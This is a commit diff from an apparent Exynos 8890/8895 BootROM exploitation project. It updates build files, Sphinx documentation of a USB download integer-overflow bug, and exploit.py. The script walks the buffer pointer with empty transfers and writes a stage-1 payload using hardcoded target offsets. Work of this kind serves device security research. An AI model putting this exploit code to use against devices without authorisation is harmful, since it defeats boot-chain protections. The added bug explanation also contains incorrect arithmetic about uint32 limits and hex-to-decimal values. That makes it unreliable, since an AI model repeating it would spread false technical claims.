Additional documentation

.gitignore

@@ -1,3 +1,4 @@
 dump/
 *.bin
 *.a
+!dump/exynos-usbdl/

README.md

@@ -10,3 +10,5 @@ pip install -r requirements.txts
 ```
 
 To get to work, run `source/exploit/exploit.py`
+
+To view documentation, ensure you have sphinx installed. If not, run `sudo apt install python3-sphinx`. Then proceed to build the documentation by running `make livehtml`.

documentation/source/BootROM_8890/index.rst

@@ -110,19 +110,55 @@ Other general device descriptors are also sent from the device to the host (to d
 
 Data is transferred via Transfer Request Blocks (TRB), dwc3_depcmd_starttransfer is used. The TRB then contains a buffer address, where transferred data from the host is written to. The buffer allocation is done by 'usb_setup_event_buffer', which sets bufferHigh (DWC3_GEVNTADRLO), bufferLow (DWC3_GEVNTADRHI) and bufferSize (DWC3_GEVNTSIZ).
 
-Bug 1(Integer underflow)
+Bug 1 (Integer overflow)
 ------------------------
 Originally described in this `blogpost <https://fredericb.info/2020/06/exynos-usbdl-unsigned-code-loader-for-exynos-bootrom.html#exynos-usbdl-unsigned-code-loader-for-exynos-bootrom>`_.
 
 The exynos bootrom uses a simple USB protocol to receive a bootloader binary from a USB host. The binary sent is called 'dldata'. In Ghidra, at 21518, we can see that it consists of unit32_t: ready?, uint32: size, ? : data, uint16: footer. The contents of this data are checked before being being written. 
 
+.. figure:: images/usb_setup_ready_to_0.png
+
+	The ready flag is set to 0 in the Exynos 8890 BootROM in an earlier function on pdVar1->size (pdVar1.size)
+
+.. figure:: images/dl_data_struct.png
+
+	The dldata struct in the Exynos 8890 BootROM
+
 .. code:: c
 	if ((pdVar1->size < 0x206ffff) && (0x206ffff < pdVar1->size + remaining)) {
       *(undefined *)&pdVar1->ready = 2;
     }
 
-In essence, in the first conditions, it checks whether the size is smaller than 0x206fff (`pdVar1->size < 0x206ffff`) (34013183 in decimal), and in the second condition, it checks whether 0x206ffff is smaller than the size + remaining (`0x206ffff < pdVar1->size + remaining`). If both conditions are met, the ready flag is set to 2, and the function below to execute the *payload*, will NOT execute! 
+In essence, the payload is not allowed to be larger than 0x206fff (34013183), it checks so with 2 seperate checks
+1) In the first condition, the size has to be smaller than 0x206ffff (`pdVar1->size < 0x206ffff`) (34013183 in decimal), 
+2) and in the second condition, it checks whether 0x206ffff is indeed still less than the size of the payload + remaining (size + remaining)(`0x206ffff < pdVar1->size + remaining`). 
 
+If both conditions are met, the payload will NOT be loaded. But this makes sense, as both checks just ensure that the payload is not larger than 0x206ffff. 
+
+The bug is however, that the check that the check is done on a uint32_t (2^32 = 4294967296), but the max value that can be checked by a uint32 is 0xFDFDE7FF = 4294967295. So a value of 0xFDFDE7FF + 1 = 0xFDFDE800 = 4294967296, which is larger than the max value of a uint32. So if a payload of this size or more is used, which is much larger than the max requested value 0x206ffff, the check will pass and the payload will still be loaded. 
+
+.. figure:: images/usb_payload_size_check.jpeg
+
+	The size check in the Exynos 8890 BootROM
+
+Sending such large amounts of data can cause a memory overflow, and will cause the target to crash. Not interesting for exploitation in this context. However, the USB packages that are sent, are split into smaller packages with a size of 0xFFFE00. 
+
+.. figure:: images/max_allowed_chunck_size.jpeg
+
+	The max allowed chunk size, after which the payload is split.
+
+The dl_buf pointer is set to the amount it expects to write, instead to the amount that it has written. By transferring a large amount of data, without actually writing it (so in a package, send no data, but tell the target that you're sending data with a length larger than 0xFDFDE800), will cause the pointer to move, without actually writing data. 
+
+The trick then becomes, to get the pointer to an address we would like to exploit unto. Then we have a little less than 512 bytes (502 according to dldata) to write our payload.
+
+.. code:: c
+
+	typedef struct dldata_s {
+		u_int32_t ready; //start = 02021518, end = 0202151C. Length = 4
+		u_int32_t size; //start = 0202151C, end = 02021520. Length = 4
+		u_int8_t  data[n]; //start = 02021520, end = 02021714. Length = 502 == MAX TRANSFER SIZE
+		u_int16_t footer; //start = 02021714, end = 02021716. Length = 2
+	} dldata;
 
 Bug 2
 -----
@@ -131,7 +167,6 @@ Bug 2
 
    Might be a 0/N-day if exploitable
 
-
 @ELHER 
 
 There is a bug(unpatched?) in receiving the last packet of the usb image:

documentation/source/conf.py

@@ -14,7 +14,6 @@ author = 'Eljakim, Jonathan'
 # https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration
 
 extensions = [  'myst_parser',
-                'sphinx_rtd_theme',
                 'sphinx.ext.todo',
                 'sphinxcontrib.confluencebuilder',
                 "sphinxcontrib.drawio",

requirements.txt

@@ -1,3 +1,13 @@
+sphinx
+sphinx-autobuild
 sphinx-rtd-theme
 sphinxcontrib.confluencebuilder
 sphinxcontrib.drawio
+myst_parser
+libusb1
+pyusb
+ghidra_bridge
+tqdm
+pyhidra
+sphinxcontrib.confluencebuilder
+sphinxcontrib.drawio

source/exploit/exploit.py

@@ -1,4 +1,4 @@
-import usb.util
+import usb.util, usb.core
 import struct, sys, usb1, libusb1, ctypes, usb, argparse
 from keystone import *
 from capstone import *
@@ -24,17 +24,17 @@ logger.setLevel(logging.DEBUG)
 
 BLOCK_SIZE = 512
 CHUNK_SIZE = 0xfffe00
-MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10)
+MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10) # 512, - 10 for ready (4), size (4), footer (2)
 
 DL_BUFFER_START = 0x02021800
-DL_BUFFER_SIZE = 0x4E800 #0x02070000 End
+DL_BUFFER_SIZE = 0x4E800 #max allowed/usable size within the buffer, with end at 0x02070000
 
 BOOTROM_START = 0x0
 BOOTROM_SIZE = 0x20000 #128Kb
 
 TARGET_OFFSETS = {
     # XFER_BUFFER,	RA_PTR, XFER_END_SIZE
-    "8890": (0x02021800, 0x02020F08, 0x02070000), 
+    "8890": (0x02021800, 0x02020F08, 0x02070000), #0x206ffff on exynos 8890
     "8895": (0x02021800, 0x02020F18, 0x02070000)
 }
 
@@ -54,18 +54,18 @@ class ExynosDevice():
         self.connect_device()
 
     def connect_device(self):
+        """Wait for proper connection to the device"""
         self.context = usb1.USBContext()
         while True:
             self.handle = self.context.openByVendorIDAndProductID(
                 vendor_id=self.idVendor,
                 product_id=self.idProduct,
-                skip_on_error=True
+                skip_on_error=False
             )
             if self.handle == None:
                 continue
             break
-
-        print("Connected device!")
+        print(f"Connected device! {self.idVendor} {self.idProduct}")
 
     def write(self, data):
         transferred = ctypes.c_int()
@@ -100,6 +100,7 @@ class ExynosDevice():
             res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10)
         pass
 
+
     def test_bug(self):
         # Start by sending a valid packet
         # Integer overflow in the size field
@@ -128,14 +129,16 @@ class ExynosDevice():
 
     def exploit(self, payload: bytes):
         '''
-        Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload
+        Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload. 
         '''
         current_offset = TARGET_OFFSETS[self.target][0]
+        xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer
         transferred = ctypes.c_int()
         
-        size_to_overflow = 0x100000000 - current_offset + TARGET_OFFSETS[self.target][1] + 8 + 6 
+        size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 + 6 # max_uint32 -  header(8) + data(n) + footer(2)
+        #size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8
         max_payload_size = 0x100000000 - size_to_overflow
-        ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE)
+        ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) # 
         
         # max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1]
         # max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200 
@@ -152,7 +155,7 @@ class ExynosDevice():
         
         cnt = 0
         while True:
-            if current_offset + CHUNK_SIZE >= TARGET_OFFSETS[self.target][1] and current_offset < TARGET_OFFSETS[self.target][1]:
+            if current_offset + CHUNK_SIZE >= xfer_buffer_start and current_offset < xfer_buffer_start:
                 break
             self.send_empty_transfer()
             current_offset += CHUNK_SIZE
@@ -333,15 +336,17 @@ def usb_debug():
         send_data()
         recv_data()
         count += 1
-    pass
-    pass
+
 
 if __name__ == "__main__":
     arg = argparse.ArgumentParser("Exynos exploit")
     arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
+    
+    # Debug mode
     args = arg.parse_args()
     if args.debug:
         usb_debug()
         sys.exit(0)
+    
     exynos = ExynosDevice()
     exynos.run_boot_chain()